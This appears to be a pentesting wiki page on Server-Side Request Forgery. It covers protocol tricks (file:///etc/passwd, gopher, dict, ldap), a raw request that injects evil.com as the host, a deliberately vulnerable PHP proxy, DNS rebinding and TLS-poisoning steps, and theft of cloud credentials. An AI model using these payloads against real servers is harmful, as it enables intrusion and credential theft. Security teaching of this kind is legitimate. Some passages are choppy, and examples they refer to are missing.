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A **Server-side Request Forgery (SSRF)** vulnerability occurs when an attacker manipulates a **server-side application** into making **HTTP requests** to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**:
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
* The URL scheme `file://` is referenced, pointing directly to `/etc/passwd`: `file:///etc/passwd`
* **dict://**
* The DICT URL scheme is described as being utilized for accessing definitions or word lists via the DICT protocol. An example given illustrates a constructed URL targeting a specific word, database, and entry number, as well as an instance of a PHP script being potentially misused to connect to a DICT server using attacker-provided credentials: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Identified as a protocol for secure file transfer over secure shell, an example is provided showcasing how a PHP script could be exploited to connect to a malicious SFTP server: `url=sftp://generic.com:11111/`
* **TFTP://**
* Trivial File Transfer Protocol, operating over UDP, is mentioned with an example of a PHP script designed to send a request to a TFTP server. A TFTP request is made to 'generic.com' on port '12346' for the file 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* This segment covers the Lightweight Directory Access Protocol, emphasizing its use for managing and accessing distributed directory information services over IP networks.Interact with an LDAP server on localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* A method is described for exploiting SSRF vulnerabilities to interact with SMTP services on localhost, including steps to reveal internal domain names and further investigative actions based on that information.
* If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
* The Gopher protocol's capability to specify IP, port, and bytes for server communication is discussed, alongside tools like Gopherus and remote-method-guesser for crafting payloads. Two distinct uses are illustrated:
Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "**Collaborator Everywhere**" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.
In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as `internal.host.com`, using the `openssl` command is given below:
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
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It was discovered that It's possible to **start the path** of a request with character **`;`** which allows to use then **`@`** and inject a new host to access. Attack request:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP Built-in Web Server <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
<details>
<summary>Vulnerable PHP code</summary>
```php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
</details>
PHP allows the use of the **char `*` before a slash in the path** of the URL, however, it has other limitations like that it can only be used for the root pathname `/` and that dots `.` are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
If you are having **problems** to **exfiltrate content from a local IP** because of **CORS/SOP**, **DNS Rebidding** can be used to bypass that limitation:
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
1. Ask the user/bot **access** a **domain** controlled by the **attacker**
2. The **TTL** of the **DNS** is **0** sec (so the victim will check the IP of the domain again soon)
3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
5. In the DNS request a **private IP** address is given **now** (127.0.0.1 for example)
6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID (where the **payload** of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**.
Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\
To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
**Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
* [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
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